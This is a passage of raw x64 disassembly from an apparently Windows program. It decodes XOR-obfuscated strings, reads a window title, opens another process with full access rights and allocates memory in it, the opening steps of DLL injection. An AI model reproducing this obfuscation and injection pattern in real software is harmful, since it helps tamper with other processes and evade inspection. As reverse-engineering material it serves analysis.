mov qword [rbp + 0x498], rbx
mov qword [rbp + 0x4a0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x488], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x498], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rbp + 0x6c0]
lea r8, [rbp + 0x488]
lea rcx, [rbp + 0x840]
call fcn.14004ce60
nop
mov r8d, 1
lea rdx, [0x1400893ec]
lea rcx, [rbp + 0x840]
call fcn.140042f80
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a8], xmm0
mov qword [rbp + 0x4b8], rbx
mov qword [rbp + 0x4c0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4a8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4b8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rbp + 0x6a0]
lea r8, [rbp + 0x4a8]
lea rcx, [rbp + 0x1498]
call fcn.14004ce60
nop
mov rdx, qword [rbp + 0x4c0]
cmp rdx, 7
jbe 0x140026fe8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026fe3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf87
call fcn.1400529f0
mov qword [rbp + 0x4b8], rbx
mov qword [rbp + 0x4c0], 7
mov word [rbp + 0x4a8], bx
mov rdx, qword [rbp + 0x858]
cmp rdx, 7
jbe 0x140027047
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x840]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027042
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf8d
call fcn.1400529f0
mov qword [rbp + 0x850], rbx
mov qword [rbp + 0x858], 7
mov word [rbp + 0x840], bx
mov rdx, qword [rbp + 0x4a0]
cmp rdx, 7
jbe 0x1400270a6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x488]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400270a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf93
call fcn.1400529f0
mov qword [rbp + 0x498], rbx
mov qword [rbp + 0x4a0], 7
mov word [rbp + 0x488], bx
mov rdx, qword [rbp + 0x718]
cmp rdx, 7
jbe 0x140027105
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140027100
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf99
call fcn.1400529f0
mov qword [rbp + 0x710], rbx
mov qword [rbp + 0x718], 7
mov word [rbp + 0x700], bx
mov rdx, qword [rbp + 0x6d8]
cmp rdx, 7
jbe 0x140027164
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x6c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002715f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf9f
call fcn.1400529f0
mov qword [rbp + 0x6d0], rbx
mov qword [rbp + 0x6d8], 7
mov word [rbp + 0x6c0], bx
mov rdx, qword [rbp + 0x6b8]
cmp rdx, 7
jbe 0x1400271c3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400271be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bfa5
call fcn.1400529f0
mov qword [rbp + 0x6b0], rbx
mov qword [rbp + 0x6b8], 7
mov word [rbp + 0x6a0], bx
lea rcx, [rbp + 0x1498]
cmp qword [rbp + 0x14b0], 7
cmova rcx, qword [rbp + 0x1498]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002b21e
lea rdx, [rbp + 0x1498]
lea rcx, [rbp + 0x14b8]
call fcn.140010f90
nop
lea rcx, [rbp + 0x14b8]
call fcn.140043220
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.140005370
nop
lea rcx, [rbp + 0xda0]
call fcn.1400135f0
movzx edi, al
lea rcx, [rbp + 0xda0]
call fcn.140043300
test dil, dil
je 0x14002b016
movups xmm0, xmmword [str.bVFX_DKPUUO]
movups xmmword [rbp + 0xa38], xmm0
movups xmm1, xmmword [0x14008a3b0]
movups xmmword [rbp + 0xa48], xmm1
mov r8d, ebx
cmp r12d, 2
jl 0x140027393
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xa38]
mov r8d, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x20
jl 0x1400272a0
jmp 0x1400273d2
lea r9, [rbp + 0xa38]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x1400273a0
lea rdx, [rbp + 0xa38]
lea rcx, [rbp + 0xde0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xde0]
mov r15, qword [rbp + 0x228]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xde0]
call fcn.140043300
lea rdx, [rbp + 0x14b8]
lea rcx, [rbp + 0xe20]
call fcn.140049680
nop
lea rcx, [rbp + 0xe20]
call fcn.140004c70
movzx edi, al
lea rcx, [rbp + 0xe20]
call fcn.140003c20
test dil, dil
jne 0x140027639
movups xmm0, xmmword [0x14008c010]
movups xmmword [rbp + 0xb28], xmm0
movups xmm1, xmmword [0x14008c020]
movups xmmword [rbp + 0xb38], xmm1
movups xmm0, xmmword [0x14008c030]
movups xmmword [rbp + 0xb48], xmm0
movsd xmm0, qword [0x14008c040]
movsd qword [rbp + 0xb58], xmm0
movzx eax, byte [0x14008c048]
mov byte [rbp + 0xb60], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400275ba
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xb28]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x38
jl 0x1400274c0
cmp r8d, 0x39
jge 0x140027603
movsxd rax, r8d
lea r9, [rbp + 0xb28]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x1400275d0
lea rdx, [rbp + 0xb28]
lea rcx, [rbp + 0xe80]
call fcn.140005370
nop
mov r8d, 0xff
lea rdx, [rbp + 0xe80]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xe80]
call fcn.140043300
mov edx, dword [0x14008b238]
movups xmm2, xmmword [0x14008b228]
mov dword [rbp + 0x90], edx
movups xmmword [rbp + 0x80], xmm2
mov r8d, ebx
cmp r12d, 2
jl 0x14002788e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x80], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x84]
xorps xmm2, xmm1
movd dword [rbp + 0x84], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x88]
xorps xmm2, xmm1
movd dword [rbp + 0x88], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x8c]
xorps xmm2, xmm1
movd dword [rbp + 0x8c], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
jmp 0x1400278d2
lea r9, [rbp + 0x80]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400278a0
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xe60]
call fcn.140005370
nop
mov r8d, 0xffff
lea rdx, [rbp + 0xe60]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xe60]
call fcn.140043300
mov r8d, 0x104
lea rdx, [rbp + 0x1760]
mov rcx, qword [0x14009b9e0]
call qword [sym.imp.USER32.dll_GetWindowTextW]
movups xmm0, xmmword [0x14008a998]
movups xmmword [rbp + 0x1450], xmm0
movq xmm0, qword [str.tZQX]
movsd qword [rbp + 0x1460], xmm0
mov eax, dword [0x14008a9b0]
mov dword [rbp + 0x1468], eax
movzx eax, word [0x14008a9b4]
mov word [rbp + 0x146c], ax
lea rdx, [rbp + 0x1760]
lea rcx, [rbp + 0x11d8]
call fcn.1400430b0
mov r10, rax
cmp word [rbp + 0x146c], 0
je 0x140027b37
mov r8d, ebx
cmp r12d, 2
jl 0x140027ae4
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1450]
xorps xmm3, xmm0
movq qword [rbp + 0x1450], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1458]
xorps xmm3, xmm0
movq qword [rbp + 0x1458], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1460]
xorps xmm3, xmm0
movq qword [rbp + 0x1460], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x1450]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xf
jl 0x140027b00
mov r8, r10
lea rdx, [rbp + 0x1450]
lea rcx, [rbp + 0x11b8]
call fcn.140049540
nop
lea r8, [0x14008919c]
mov rdx, rax
lea rcx, [rbp + 0x1500]
call fcn.1400491b0
nop
lea rcx, [rbp + 0x11b8]
call fcn.140003c20
nop
lea rcx, [rbp + 0x11d8]
call fcn.140003c20
mov r8d, 0xff00
lea rdx, [rbp + 0x1500]
mov rcx, r15
call fcn.1400056b0
lea rcx, [rbp + 0x1760]
call fcn.1400142c0
lea rcx, [rbp + 0x1760]
call fcn.1400142c0
mov edi, eax
mov dword [rsp + 0x48], eax
test eax, eax
je 0x14002aaf4
movups xmm0, xmmword [str.bA_VSDK]
movups xmmword [rbp + 0x1430], xmm0
movq xmm0, qword [0x14008ba40]
movsd qword [rbp + 0x1440], xmm0
movzx ecx, word [0x14008ba48]
mov word [rbp + 0x1448], cx
mov edx, eax
lea rcx, [rbp + 0x1218]
call fcn.140003550
mov r10, rax
cmp word [rbp + 0x1448], 0
je 0x140027db7
mov r8d, ebx
cmp r12d, 2
jl 0x140027d6a
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1430]
xorps xmm3, xmm0
movq qword [rbp + 0x1430], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1438]
xorps xmm3, xmm0
movq qword [rbp + 0x1438], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x1440]
xorps xmm3, xmm0
movq qword [rbp + 0x1440], xmm3
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x1430]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140027d80
mov r8, r10
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x11f8]
call fcn.140049540
nop
lea r8, [0x1400893f0]
mov rdx, rax
lea rcx, [rbp + 0x1530]
call fcn.1400491b0
nop
lea rcx, [rbp + 0x11f8]
call fcn.140003c20
nop
lea rcx, [rbp + 0x1218]
call fcn.140003c20
mov r8d, 0xff00
lea rdx, [rbp + 0x1530]
mov rcx, r15
call fcn.1400056b0
movups xmm2, xmmword [0x14008b380]
movups xmmword [rbp + 0x1d8], xmm2
movsd xmm0, qword [str._16__3ECJ]
movsd qword [rbp + 0x1e8], xmm0
movzx eax, byte [0x14008b398]
mov byte [rbp + 0x1f0], al
mov r8d, ebx
cmp r12d, 2
jl 0x1400280ee
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1d8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1dc]
xorps xmm2, xmm1
movd dword [rbp + 0x1dc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e0]
xorps xmm2, xmm1
movd dword [rbp + 0x1e0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e4]
xorps xmm2, xmm1
movd dword [rbp + 0x1e4], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e8]
xorps xmm2, xmm1
movd dword [rbp + 0x1e8], xmm2
movdqa xmm2, xmmword [0x14008c390]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ec]
xorps xmm2, xmm1
movd dword [rbp + 0x1ec], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x1d8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140028100
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0xdc0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0xdc0]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0xdc0]
call fcn.140043300
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov qword [rbp - 0x78], rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14002a731
lea rdx, [rbp + 0x14b8]
lea rcx, [rbp + 0x14d8]
call fcn.1400112b0
nop
lea rcx, [rbp + 0x14d8]
call fcn.140042f70
mov qword [rsp + 0x58], rax
mov r8, qword [rbp + 0x14e8]
lea r8, [r8*2 + 2]
mov dword [rsp + 0x20], r14d
xor edx, edx
mov r9d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140028394
lea rdx, [rbp + 0x1198]
call fcn.14002c090
mov r9, rax
cmp byte [rax + 0xe], 0
je 0x14002bca8
cmp r12d, 2
jl 0x14002834f
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
mov ebx, esi
mov r8d, ebx
add r8, r9
